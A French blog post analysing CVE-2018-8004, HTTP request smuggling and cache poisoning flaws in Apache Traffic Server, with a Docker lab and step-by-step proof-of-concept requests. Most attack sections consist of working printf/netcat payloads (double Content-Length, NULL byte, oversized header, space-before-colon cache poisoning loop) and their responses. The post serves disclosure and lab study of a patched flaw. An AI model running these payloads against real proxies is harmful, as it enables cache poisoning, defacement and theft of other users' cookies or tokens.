Makina Blog

Le blog Makina-corpus

Sécurité : Contrebande de HTTP, Apache Traffic Server


Détails de la CVE CVE-2018-8004 (Août 2018 - Apache Traffic Server).

Version Française (English version available on regilero's blog). temps de lecture estimé: 15min en diagonale, comptez au moins une heure sinon.

De quoi parle-t-on ?

Cet article va donner une explication assez poussée sur les failles de sécurité de Contrebande de HTTP (HTTP Smuggling) présentes dans la CVE-2018-8004. Premièrement parce qu'il n'y a pour le moment pas beaucoup d'informations sur le sujet ("Undergoing Analysis" au moment de l'écriture sur le lien précédent). Ensuite, parce qu'il s'est écoulé un temps suffisant depuis l'annonce officielle (et encore plus depuis la mise à disposition des correctifs dans la v7), et aussi surtout parce que je continue à recevoir des demandes sur ce qu'est exactement la contrebande de HTTP et comment tester/exploiter ce type de failles. Ce dernier point étant d'autant plus vrai aujourd'hui grâce au travail exceptionnel de James Kettle (@albinowax).

Donc, cette fois, je vais non seulement donner des détails mais aussi fournir une démo pas à pas avec des DockerFiles pour que vous puissiez fabriquer vous-même votre propre labo de test. Vous pourrez utiliser ce labo pour expérimenter des requêtes HTTP brutes forgées à la main, ou pour tester les outils de Smuggling récemment ajoutés à Burp Suite. Je suis pour ma part un partisan forcené du test des failles de contrebande en dehors des environnements de production, pour des raisons légales et aussi pour éviter les conséquences inattendues (et nous verrons dans cet article, avec la dernière faille, que des comportements très inattendus peuvent toujours arriver).

Apache Traffic Server ?

Apache Traffic Server, ou ATS est un Load Balancer HTTP Open Source (répartiteur de charge) est un Reverse Proxy Cache. Basé sur un produit commercial donné à la fondation Apache. Ce n'est pas lié au serveur HTTP "Apache httpd", le nom "Apache" vient de la fondation, le code est très différent de httpd.

Si vous recherchez des installations dans la nature, vous en trouverez un certain nombre, qui, on l'espère, devraient toutes êtres fixées.

Versions fixées de ATS

Comme décrit dans l'annonce de la CVE (28-08-2018) les versions impactées de ATS sont les versions 6.0.0 à 6.2.2 et 7.0.0 à 7.1.3. La version 7.1.4 a été délivrée le 02-08-2018 et la 6.2.3 le 04-08-2018. C'est l'annonce officielle, mais je pense que le version 7.1.3 contenait déjà la plupart des correctifs, et n'est sans doute pas vulnérable. L'annonce a été reportée essentiellement pour les backports sur 6.x (et d'autres correctifs ont été livrés en même temps, sur d'autres failles).

Si vous vous posez la question pour les versions plus anciennes, comme 5.x, elles sont non supportées, et presque certainement vulnérables. N'utilisez pas les versions non supportées.

CVE-2018-8004

La description officielle de la CVE est :

There are multiple HTTP smuggling and cache poisoning issues when clients making malicious requests interact with ATS.

En français :

Il y a de multiples failles de contrebande de HTTP et d'empoisonnement de cache quand des clients effectuant des requêtes malicieuses interagissent avec ATS.

Ce qui ne donne pas beaucoup de pointeurs, mais il y a plus d'informations dans les 4 pull requests listées :

Si vous avez déjà étudié certains de mes articles précédents, certaines de ces phrases devraient déjà sembler suspectes. Par exemple ne pas fermer le flux de réponse après une erreur 400 est clairement une faute, en se basant sur les standards, mais c'est en plus un point d'accroche pour un attaquant. Il y a des chances qu'en forgeant des mauvaises chaînes de messages on puisse arriver à recevoir des réponses pour des requêtes cachées dans le body (corps) d'une requête invalide.

Le dernier, Drain the request body if there is a cache hit (vider le corps de la requête s'il y a un hit en cache) est le plus joli, comme nous le verrons dans cet article, c'était le plus dur à détecter.

Mon rapport original listait 5 failles :

  • HTTP request splitting avec le caractère NULL dans les valeurs de headers
  • HTTP request splitting avec une très grande taille de header
  • HTTP request splitting avec le doublement de header Content-length
  • Empoisonnement de cache HTTP en utilisant un espace supplémentaire entre le nom de header et la valeur du header
  • HTTP request splitting en utilisant …(pas de spoiler: je garde ça pour la fin)

Preuve de Concept pas à pas

Pour comprendre les failles, et voir leurs effets, nous utiliserons un environnement de démo/recherche.

Si vous voulez un jour tester les failles de HTTP Smuggling vous devriez vraiment, vraiment, essayer de les tester dans un environnement contrôlé. Tester les failles dans un environnement live (public) serait difficile parce que :

  • Vous pourriez avoir de très bon agents HTTP (répartiteurs de charge, terminateurs SSL, filtres de sécurité) entre vous et votre cible, cachant les plupart de vos succès comme de vos erreurs.
  • Vous pourriez déclencher des erreurs et des comportements dont vous n'avez aucune idée, par exemple j'ai rencontré des erreurs aléatoires sur plusieurs tests de fuzzing (en environnement de test), non reproductibles, avant de comprendre qu'ils étaient relatifs à la dernière faille de contrebande que nous étudierons dans cet article. Les effets étaient retardés sur des tests subséquents, et je n'avais aucun contrôle sur les effets observés, rien, perdu.
  • Vous pourriez déclencher des erreurs sur les requêtes envoyées par d'autres utilisateurs, ou/et sur d'autres domaines. Ce n'est pas comme tester une "reflected XSS", vous pourriez avoir affaire avec la justice pour ça.
  • Les exemples complets 'de la vraie vie' arrivent habituellement avec des interactions entre différents agents HTTP, comme Nginx + Varnish, ou ATS + HaProxy, ou Pound + IIs + Nodejs, etc. Il vous faudra comprendre comment chacun de ces acteurs interagit avec les autres, et vous le verrez plus vite sur une capture bas niveau de réseau local qu'en étant aveugle à travers une chaîne d'agents inconnus (par exemple pour apprendre à détecter chacun de ces agents dans cette chaîne).

Donc il est très important d'être capable de reproduire un environnement de laboratoire.

Et, si vous trouvez quelque chose, cet environnement peut dès lors vous servir à envoyer des rapports de bugs détaillés aux responsables du logiciel (de ma propre expérience, il peut être parfois difficile d'expliquer ces failles, une démo qui marche aide).

Set-up du lab : les instances Docker

Nous ferons tourner 2 instances de Apache Traffic Server, une en version 6.x et une en version 7.x.

pour ajouter un peu d'altérité, et de potentielles failles de contrebande, nous ajouterons aussi un docker de Nginx, et un de HaProxy.

4 acteurs HTTP, chacun sur son port local:

  • 127.0.0.1:8001 : HaProxy (écoutant sur le port 80 en interne)
  • 127.0.0.1:8002 : Nginx (écoutant sur le port 80 en interne)
  • 127.0.0.1:8007 : ATS7 (écoutant sur le port 8080 en interne)
  • 127.0.0.1:8006 : ATS6 (écoutant sur le port 8080 en interne), la plupart des exemples utiliseront ATS7, mais vous pourrez tester la version plus ancienne facilement en changeant simplement le port pour celui-là (et en altérant le domaine).

Nous chaînerons quelques relations de Reverse Proxy, Nginx sera le backend final, HaProxy le répartiteur de charge en front, et entre Nginx et HaProxy nous traverserons ATS6 ou ATS7 en se basant sur le domaine utilisé (dummy-host7.example.com pour ATS7 et dummy-host6.example.com pour ATS6)

Notez que le mappage de ports locaux pour les instances de Nginx ou ATS n'est pas directement requis, si vous pouvez envoyer une requête à HaProxy cela ira en interne vers Nginx, via le port 8080 d'un des ATS, et le port 80 de Nginx. Mais cela peut s'avérer utile si vous voulez cibler directement l'un des serveurs, et nous devrons éviter HaProxy sur la plupart des exemples, parce que la plupart des attaques seraient bloquées par ce répartiteur de charge. Donc la plupart des exemples cibleront directement ATS7, sur le 8007. Plus tard vous pourrez essayer de les faire passer à travers le port 8001, ce sera plus dur.

                       +---[80]---+
                       | 8001->80 |
                       |  HaProxy |
                       |          |
                       +--+---+---+
[dummy-host6.example.com] |   | [dummy-host7.example.com]
                  +-------+   +------+
                  |                  |
              +-[8080]-----+     +-[8080]-----+
              | 8006->8080 |     | 8007->8080 |
              |  ATS6      |     |  ATS7      |
              |            |     |            |
              +-----+------+     +----+-------+
                    |               |
                    +-------+-------+
                            |
                       +--[80]----+
                       | 8002->80 |
                       |  Nginx   |
                       |          |
                       +----------+

Pour construire ce cluster nous utiliserons docker-compose, vous pouvez trouver le fichier docker-compose.yml ici, mais le contenu est assez court:

version: '3'
services:
  haproxy:
    image: haproxy:1.6
    build:
      context: .
      dockerfile: Dockerfile-haproxy
    expose:
      - 80
    ports:
      - "8001:80"
    links:
      - ats7:linkedats7.net
      - ats6:linkedats6.net
    depends_on:
      - ats7
      - ats6
  ats7:
    image: centos:7
    build:
      context: .
      dockerfile: Dockerfile-ats7
    expose:
      - 8080
    ports:
      - "8007:8080"
    depends_on:
      - nginx
    links:
      - nginx:linkednginx.net
  ats6:
    image: centos:7
    build:
      context: .
      dockerfile: Dockerfile-ats6
    expose:
      - 8080
    ports:
      - "8006:8080"
    depends_on:
      - nginx
    links:
      - nginx:linkednginx.net
  nginx:
    image: nginx:latest
    build:
      context: .
      dockerfile: Dockerfile-nginx
    expose:
      - 80
    ports:
      - "8002:80"

Pour le faire fonctionner vous aurez aussi besoin de 4 Dockerfiles construits spécifiquement pour ce lab:

Mettez tous ces fichiers (le docker-compose.yml et les fichiers Dockerfile-*) dans un dossier de travail et lancez depuis ce dossier:

docker-compose build && docker-compose up

Vous pouvez prendre une grosse pause, vous êtes en train de lancer deux compilations d'ATS. Heureusement la prochaine fois un up suffira, et même le build ne refera peut-être pas les étapes de compilation.

Vous pouvez facilement ajouter un autre élément ats7-fixed dans le cluster, pour tester les versions corrigées si vous le voulez. Pour le moment nous allons nous concentrer sur les détection de failles dans les versions faillibles.

Tester que tout Fonctionne

Nous allons lancer quelques requêtes basiques, pas du tout malicieuses, sur cette installation, pour vérifier que tout fonctionne, et pour nous entraîner à l'usage de printf + netcat pour lancer des requêtes HTTP. Nous n'utiliserons pas curl ou wget pour lancer des requêtes HTTP, parce qu'il serait impossible d'écrire de mauvaises requêtes. Nous utilisons donc les manipulations de chaînes bas niveau (avec printf par exemple) et du management de socket (avec netcat -- ou nc --).

Testez Nginx (c'est un one-liner séparé sur plusieurs lignes pour une meilleure lisibilité):

printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8002

Vous devriez avoir la réponse index.html, quelque chose comme :

HTTP/1.1 200 OK
Server: nginx/1.15.5
Date: Fri, 26 Oct 2018 15:28:20 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
Connection: keep-alive
ETag: "5bd321bc-78"
X-Location-echo: /
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes

$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>

Puis testez ATS7 et ATS6:

printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8007

printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host6.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8006

Enfin, testez HaProxy, en altérant le nom de Host on devrait provoquer un transit via ATS7 ou ATS6 (regarder le header de réponse "Server:"):

printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8001

printf 'GET / HTTP/1.1\r\n'\
'Host:dummy-host6.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8001

Et maintenant démarrons un peu de HTTP plus complexe, nous allons faire un pipeline HTTP, nous mettons plusieurs requêtes en pipeline et nous recevons plusieurs réponses, parce que le pipelining est le composant clef de la plupart des attaques de contrebande :

# send one pipelined chain of queries
printf 'GET /?cache=1 HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
'GET /?cache=2 HTTP/1.1\r\n'\
'Host:dummy-host7.example.com\r\n'\
'\r\n'\
'GET /?cache=3 HTTP/1.1\r\n'\
'Host:dummy-host6.example.com\r\n'\
'\r\n'\
'GET /?cache=4 HTTP/1.1\r\n'\
'Host:dummy-host6.example.com\r\n'\
'\r\n'\
| nc 127.0.0.1 8001

Ceci est du pipelining, il ne s'agit pas juste d'utiliser le HTTP keepAlive, parce que nous envoyons une chaîne de requêtes sans attendre les réponses. Voir mes posts précédents pour des détails sur Keepalives vs Pipelining.

Vous devriez avoir le log d'accès Nginx sur la sortie standard de docker-compose, jetez-y un œil et observez que si vous ne faites pas un peu tourner vos arguments dans la requête, Nginx ne sera pas atteint par vos requêtes, parce que ATS est déjà en train de cacher les résultats (CTRL+C sur la sortie de docker-compose et docker-compose up vont permettre de vider tous ces caches).

Request Splitting avec Double Content-Length

Commençons à rentrer dans le vif. On est ici sur le b.a.-ba de la contrebande de HTTP. le vecteur facile. le support du Double header Content-Length est strictement interdit par la RFC 7230 3.3.3 (gras ajouté):

4 If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection. If this is a response message received by a proxy, the proxy MUST close the connection to the server, discard the received response, and send a 502 (Bad Gateway) response to the client. If this is a response message received by a user agent, the user agent MUST close the connection to the server and discard the received response.

Les différences d'interprétations de la longueur du message basées sur l'ordre des entêtes Content-Length étaient les premières attaques de contrebandes démontrées (2005).

Envoyer une requête de ce type sur ATS génère 2 réponses (une 400 et une 200):

printf 'GET /index.html?toto=1 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Content-Length: 0\r\n'\
'Content-Length: 66\r\n'\
'\r\n'\
'GET /index.html?toto=2 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007

la réponse régulière devrait être une erreur 400 (une seule réponse).

Utiliser le port 8001 (HaProxy) ne marcherait pas, HaProxy est un agent HTTP robuste et ne peut pas être trompé par un truc aussi simple.

Cette faille de Request Splitting est critique, classique, mais difficile à reproduire dans un vrai environnement de la vraie vie si quelques outils robustes sont utilisés dans la chaîne de proxy. Donc, pourquoi critique? Parce que vous pourriez aussi considérer ATS comme un élément robuste, et utiliser un serveur HTTP inconnu derrière ou devant ATS et vous attendre à ce que de telles attaques de contrebande de HTTP soient bien détectées.

Et puis il y a un autre facteur de criticité, toute autre faille de parsing de HTTP peut exploiter ce double Content-Length. Disons que vous avez une autre faille qui vous permet de cacher un header pour tous les autres acteurs HTTP, mais qui révèle ce header sur ATS. Vous n'avez qu'à utiliser ce header caché pour un deuxième Content-Length et vous êtes bon, sans être bloqué par un acteur précédent. Dans notre cas courant, ATS, nous avons un exemple de ce type de header caché avec la faille 'espace-avant-:' que nous analysons plus loin.

Request Splitting avec injection de Caractère NULL

Cet exemple n'est pas le plus simple à comprendre (si vous lâchez passez à l'attaque suivante, voir même la suivante de la suivante), ce n'est pas non plus l'impact le plus important, parce que nous utiliserons une requête vraiment mauvaise pour attaquer, facile à détecter. Mais j'aime le caractère magique NULL (\0).

Utiliser le caractère NULL byte character dans un header génère un rejet de le requête sur ATS, ça c'est bon, mais aussi une fin prématurée de la requête, et si vous ne fermez pas le pipeline après la première erreur, de mauvaises choses arrivent. La ligne suivante est interprétée comme la requête suivante dans le pipeline.

Donc, un pipeline valide (presque, si on fait exception du caractère NULL) comme celui-ci :

 01 GET /does-not-exists.html?foofoo=1 HTTP/1.1\r\n
 02 X-Something: \0 something\r\n
 03 X-Foo: Bar\r\n
 04 \r\n
 05 GET /index.html?bar=1 HTTP/1.1\r\n
 06 Host: dummy-host7.example.com\r\n
 07 \r\n

Va générer deux erreurs 400. Parce que la deuxième requête commence par X-Foo: Bar\r\n et que ceci est une première ligne invalide.

Testons un pipeline invalide (parce qu'il n'y a pas de \r\n entre les deux requêtes):

 01 GET /does-not-exists.html?foofoo=2 HTTP/1.1\r\n
 02 X-Something: \0 something\r\n
 03 GET /index.html?bar=2 HTTP/1.1\r\n
 04 Host: dummy-host7.example.com\r\n
 05 \r\n

On obtient une erreur 400 et une réponse 200 OK. les lignes 03/04/05 sont lues comme une requête valide.

Remarquez qu'il s'agit déjà ici d'une attaque de HTTP request Splitting.

Mais la ligne 03 est vraiment un très mauvais header que la plupart des agents rejetteraient. Vous ne pouvez pas lire ceci comme une requête unique valide. Le faux pipeline serait détecté très tôt en tant que mauvaise requête, je veux dire que la ligne 03 n'est clairement pas une ligne de header valide.

GET /index.html?bar=2 HTTP/1.1\r\n
 !=
<HEADER-NAME-NO-SPACE>[:][SP]<HEADER-VALUE>[CR][LF]

Pour la syntaxe d'une première ligne de requête nous avons droit à l'une de ces deux formes:

<METHOD>[SP]<LOCATION>[SP]HTTP/[M].[m][CR][LF]
<METHOD>[SP]<http[s]://LOCATION>[SP]HTTP/[M].[m][CR][LF] (absolute uri)

la zone LOCATION peut être utilisée pour injecter le caractère spécial [:] qui est requis pour une ligne de header, surtout dans la partie query string, mais cela injecterait un grand nombre de caractères invalides dans la partie HEADER-NAME-NO-SPACE, comme '/' ou '?'.

Essayons avec la syntaxe alternative ABSOLUTE-URI, où le [:] arrive plus tôt dans la ligne, et le seul mauvais caractère serait l'espace. Ceci va aussi fixer la présence potentielle d'un double entête Host (les uri absolues remplacent le besoin d'entête Host).

 01 GET /does-not-exists.html?foofoo=2 HTTP/1.1\r\n
 02 Host: dummy-host7.example.com\r\n
 03 X-Something: \0 something\r\n
 04 GET http://dummy-host7.example.com/index.html?bar=2 HTTP/1.1\r\n
 05 \r\n

Ici le mauvais header qui deviendra une requête est la ligne 04, et le nom du header est "GET http" avec une valeur de header de "//dummy-host7.example.com/index.html?bar=2 HTTP/1.1". C'est toujours un header invalide (le nom du header contient un espace) mais je suis presque sûr qu'on peut trouver des agents HTTP qui transfèrent ce header (ATS en est la preuve, les espaces dans les noms de headers étaient autorisés).

Une attaque réelle utilisant ce truc ressemblerait à ça :

printf 'GET /something.html?zorg=1 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'X-Something: "\0something"\r\n'\
'GET http://dummy-host7.example.com/index.html?replacing=1&zorg=2 HTTP/1.1\r\n'\
'\r\n'\
'GET /targeted.html?replaced=maybe&zorg=3 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007

Ici nous avons juste deux requêtes (la première possède deux mauvais headers, un avec un caractère NULL, un avec un espace dans le nom du header), pour ATS nous avons 3 requêtes.

La vraie deuxième requête (/targeted.html) -- troisième pour ATS -- aura la réponse de la requête cachée (http://dummy-host.example.com/index.html?replacing=1&zorg=2). vérifiez le header X-Location-echo: ajouté par Nginx. Après cela ATS ajoute une troisième réponse, une 404, mais l'acteur précédent n'attends que 2 réponses, et la seconde réponse est déjà remplacée.

HTTP/1.1 400 Invalid HTTP Request
Date: Fri, 26 Oct 2018 15:34:53 GMT
Connection: keep-alive
Server: ATS/7.1.1
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220

<HTML>
<HEAD>
<TITLE>Bad Request</TITLE>
</HEAD>

<BODY BGCOLOR="white" FGCOLOR="black">
<H1>Bad Request</H1>
<HR>

<FONT FACE="Helvetica,Arial"><B>
Description: Could not process this request. 
</B></FONT>
<HR>
</BODY>

puis

HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 15:34:53 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
ETag: "5bd321bc-78"
X-Location-echo: /index.html?replacing=1&zorg=2
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 0
Connection: keep-alive

$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>

et la réponse en trop qui ne sert pas :

HTTP/1.1 404 Not Found
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 15:34:53 GMT
Content-Type: text/html
Content-Length: 153
Age: 0
Connection: keep-alive

<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.15.5</center>
</body>
</html>

Si vous essayez d'utiliser le port 8001 (donc de transmettre via HaProxy) vous n'obtiendrez pas le résultat attendu. Cette attaque est vraiment trop mauvaise.

HTTP/1.0 400 Bad request
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>

Il s'agit d'une attaque de HTTP request splitting, mais un cas d'usage réel dans le vrai monde serait peut être difficile à trouver.

Le correctif pour ATS est le 'close on error', quand une erreur 400 est générée le pipeline est stoppé, on ferme la socket après l'erreur et on arrête les traitements.

Request Splitting avec un Header Immense, Fin-de-requête Prématurée

Cette attaque est quasiment la même que la précédente, mais elle ne nécessite pas le caractère magique NULL pour générer la fin de requête prématurée.

En utilisant des headers avec une taille avoisinant 65536 caractères on peut aussi déclencher cet événement, et l'exploiter de la même façon que pour la fin de requête prématurée sur le caractère NULL.

Une petit note sur la génération de headers immenses avec printf. ici je génère une requête avec un header qui contient un grand nombre de caractères répétés (1 ou = par exemple):

X: ==========================( 65 532 '=' )====================================\r\n

Vous pouvez utiliser la forme %ns de printf pour générer ceci, ce qui génère un grand nombre d'espaces.

Mais pour faire cela vous devrez remplacer certains caractères spéciaux avec tr et utiliser_ à la place des espaces dans la chaîne originale :

printf 'X:_"%65532s"\r\n' | tr " " "=" | tr "_" " "

Essayons contre Nginx :

printf 'GET_/something.html?zorg=6_HTTP/1.1\r\n'\
'Host:_dummy-host7.example.com\r\n'\
'X:_"%65532s"\r\n'\
'GET_http://dummy-host7.example.com/index.html?replaced=0&cache=8_HTTP/1.1\r\n'\
'\r\n'\
|tr " " "1"\
|tr "_" " "\
|nc -q 1 127.0.0.1 8002

J'obtiens une erreur 400, c'est plutôt normal. Nginx n'aime pas les headers gigantesques.

Maintenant essayons contre ATS7 :

printf 'GET_/something.html?zorg2=5_HTTP/1.1\r\n'\
'Host:_dummy-host7.example.com\r\n'\
'X:_"%65534s"\r\n'\
'GET_http://dummy-host7.example.com/index.html?replaced=0&cache=8_HTTP/1.1\r\n'\
'\r\n'\
|tr " " "1"\
|tr "_" " "\
|nc -q 1 127.0.0.1 8007

Et après l'erreur 400 nous avons une réponse 200 OK. Même problème que dans l'exemple précédent, et même correctif. Ici nous avons toujours une requête avec un mauvais header qui contient un espace dans le nom du header, et puis aussi un header assez gros, mais nous n'avons plus le caractère NULL. Mais, oui, 65000 caractère c'est vraiment très gros, la plupart des acteurs rejetterons une requête qui a plus de 8000 caractères sur une seule ligne.

HTTP/1.1 400 Invalid HTTP Request
Date: Fri, 26 Oct 2018 15:40:17 GMT
Connection: keep-alive
Server: ATS/7.1.1
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220

<HTML>
<HEAD>
<TITLE>Bad Request</TITLE>
</HEAD>

<BODY BGCOLOR="white" FGCOLOR="black">
<H1>Bad Request</H1>
<HR>

<FONT FACE="Helvetica,Arial"><B>
Description: Could not process this request. 
</B></FONT>
<HR>
</BODY>

et

HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 15:40:17 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
ETag: "5bd321bc-78"
X-Location-echo: /index.html?replaced=0&cache=8
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 0
Connection: keep-alive

$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>

Empoisonnement de Cache en utilisant des requêtes Incomplètes et un Mauvais Préfixe de Séparateur

Empoisonnement de cache, ça sonne bien. dans les attaques de contrebande vous ne devriez avoir qu'à démontrer du splitting de requêtes ou réponses pour prouver l'existence d'une faille, mais quand vous poussez cette faille jusqu'à l'empoisonnement de cache les gens comprennent mieux pourquoi les pipelines splittés sont dangereux.

ATS supporte une syntaxe invalide de header:

HEADER[SPACE]:HEADER VALUE\r\n

Ceci n'est pas conforme à la RFC7230 section 3.3.2:

Each header field consists of a case-insensitive field name followed by a colon (":"), optional leading whitespace, the field value, and optional trailing whitespace.

Donc :

HEADER:HEADER_VALUE\r\n => OK
HEADER:[SPACE]HEADER_VALUE\r\n => OK
HEADER:[SPACE]HEADER_VALUE[SPACE]\r\n => OK
HEADER[SPACE]:HEADER_VALUE\r\n => NOT OK

Et la RFC7230 section 3.2.4 (gras ajouté) ajoute:

No whitespace is allowed between the header field-name and colon. In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling. A server MUST reject any received request message that contains whitespace between a header field-name and colon with a response code of 400 (Bad Request). A proxy MUST remove any such whitespace from a response message before forwarding the message downstream.

ATS va interpréter ce mauvais header, et aussi le transmettre sans altérations.

En utilisant cette faille nous pouvons ajouter quelques headers dans notre requête qui sont invalides pour tout autre agent HTTP valide mais pourtant interprétés par ATS, comme :

Content-Length :77\r\n

Ou (essayez en exercice):

Transfer-encoding :chunked\r\n

Certains serveurs HTTP vont effectivement rejeter ces messages avec une erreur 400. Mais d'autres vont simplement ignorer le header invalide. C'est le cas pour Nginx par exemple.

ATS va maintenir une connexion en keep-alive connection avec le backend Nginx, donc nous allons utiliser ce header ignoré pour transmettre un corps (body) (ATS pense que c'est un body) qui est en fait une nouvelle requête pour le backend. Et nous ferons en sorte que cette nouvelle requête soit incomplète (un CRLF manquant sur la fin-de-header) pour absorber une future requête envoyée à Nginx. Cette sorte de requête incomplète-remplie par la suivante est aussi une technique de base du HTTP Smuggling démontrée il y a 13 ans.

01 GET /does-not-exists.html?cache=x HTTP/1.1\r\n
02 Host: dummy-host7.example.com\r\n
03 Cache-Control: max-age=200\r\n
04 X-info: evil 1.5 query, bad CL header\r\n
05 Content-Length :117\r\n
06 \r\n
07 GET /index.html?INJECTED=1 HTTP/1.1\r\n
08 Host: dummy-host7.example.com\r\n
09 X-info: evil poisoning query\r\n
10 Dummy-incomplete:
  • La ligne 05 est invalide (' :'). Mais pour ATS c'est valide.
  • les lignes 07/08/09/10 sont juste des données binaires pour ATS, qui les transmet au backend.

Pour Nginx:

  • la ligne 05 est ignorée.
  • la ligne 07 est une nouvelle requête (et une première réponse est retournée).
  • la ligne 10 n'a pas de "\r\n". Donc Nginx est encore en train d'attendre la suite de cette requête depuis la connection keep-Alive ouverte par ATS …

Schéma d'attaque

[ATS Cache poisoning - espace avec séparateur de header + backend ignorant le mauvais header]
Innocent        Attaquant          ATS            Nginx
    |               |               |               |
    |               |--A(1A+1/2B)-->|               | * Faille 1 & 2 *
    |               |               |--A(1A+1/2B)-->| * Faille 3 *
    |               |               |<-A(404)-------|
    |               |               |            [1/2B]
    |               |<-A(404)-------|            [1/2B]
    |               |--C----------->|            [1/2B]
    |               |               |--C----------->| * finissant B *
    |               |            [*CP*]<--B(200)----|
    |               |<--B(200)------|               |
    |--C--------------------------->|               |
    |<--B(200)--------------------[HIT]             |
  • 1A + 1/2B veut dire requête A + une requête B incomplète
  • A(X) : signifie que la requête X est cachée dans le body de A
  • CP : Cache poisoning
  • Faille 1 : ATS transmet 'header[SPACE]: Value', un mauvais header HTTP.
  • Faille 2 : ATS interprète ce mauvais header comme valide (donc 1/2B est toujours caché dans le Body)
  • Faille 3 : Nginx rencontre le mauvais header mais l'ignore au lieu d'envoyer une erreur 400. Donc 1/2B est découverte en tant que nouvelle requête (pas de Content-Length). La requête B contient un header incomplet (pas de crlf)
  • finissant B: la première ligne de la requête C vient terminer le header incomplet de la requête B. Tous les autres headers sont ajoutés à la requête. C disparaît et mélange les credentials HTTP avec les headers précédents de B (cookie/bearer token/Host, etc.)

Remarquez qu'au lieu de faire du poisoning on pourrait aussi jouer avec la requête incomplète 1/B et attendre qu'une requête innocente vienne terminer cette requête avec les 'HTTP credentials' de ce user (cookies, Auth HTTP, token JWT, etc.). Ce serait un autre vecteur d'attaque. Ici on va simplement démontrer l'empoisonnement de cache.

Lancez cette attaque :

for i in {1..9} ;do
printf 'GET /does-not-exists.html?cache='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-Control: max-age=200\r\n'\
'X-info: evil 1.5 query, bad CL header\r\n'\
'Content-Length :117\r\n'\
'\r\n'\
'GET /index.html?INJECTED='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'X-info: evil poisoning query\r\n'\
'Dummy-unterminated:'\
|nc -q 1 127.0.0.1 8007
done

Cela devrait fonctionner, Nginx ajoute un header X-Location-echo dans cette configuration de labo, où nous avons la première ligne de la requête ajoutée dans les headers de la réponse. de cette façon nous observons que la deuxième réponse remplace effectivement la vraie première ligne de la deuxième requête et la remplace avec la première ligne cachée.

Dans mon cas la dernière réponse à la dernière requête contenait :

 X-Location-echo: /index.html?INJECTED=3

Mais cette dernière requête était GET /index.html?INJECTED=9.

Vous pouvez vérifier le contenu du cache avec :

for i in {1..9} ;do
printf 'GET /does-not-exists.html?cache='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-Control: max-age=200\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007
done

Dans mon cas j'ai obtenu six 404 (réguliers) et trois réponses 200 (ouch), le cache est empoisonné.

Si vous voulez aller plus loin dans la compréhension de la Contrebande de HTTP vous devriez jouer avec Wireshark sur cet exemple. N'oubliez pas de redémarrer le cluster pour vider le cache.

Ici nous n'avons pas joué avec la requête C encore, l'empoisonnement de cache s'est fait sur nos requêtes A. Sauf si on considère les /does-not-exists.html?cache='$i' comme des requêtes C. Mais vous pouvez facilement essayer d'injecter des requêtes C sur ce cluster, où Nginx possède quelques requêtes en attente, pour essayer de les empoisonner avec des réponses de type /index.html?INJECTED=3 :

for i in {1..9} ;do
printf 'GET /innocent-C-query.html?cache='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-Control: max-age=200\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007
done

Ceci devrait vous donner un petit aperçu des exploitations dans le vrai monde, il faut répéter l'attaque pour obtenir quelque chose. Faites varier le nombre de serveurs dans le cluster, les réglages de pools sur les diverses couches de reverse proxys, etc. Les choses se compliquent. L'attaque la plus simple est le générateur de chaos (genre un defacement ou un DOS), le remplacement fin d'une cible dans le cache par contre demande une étude assez fine et un peu de chance.

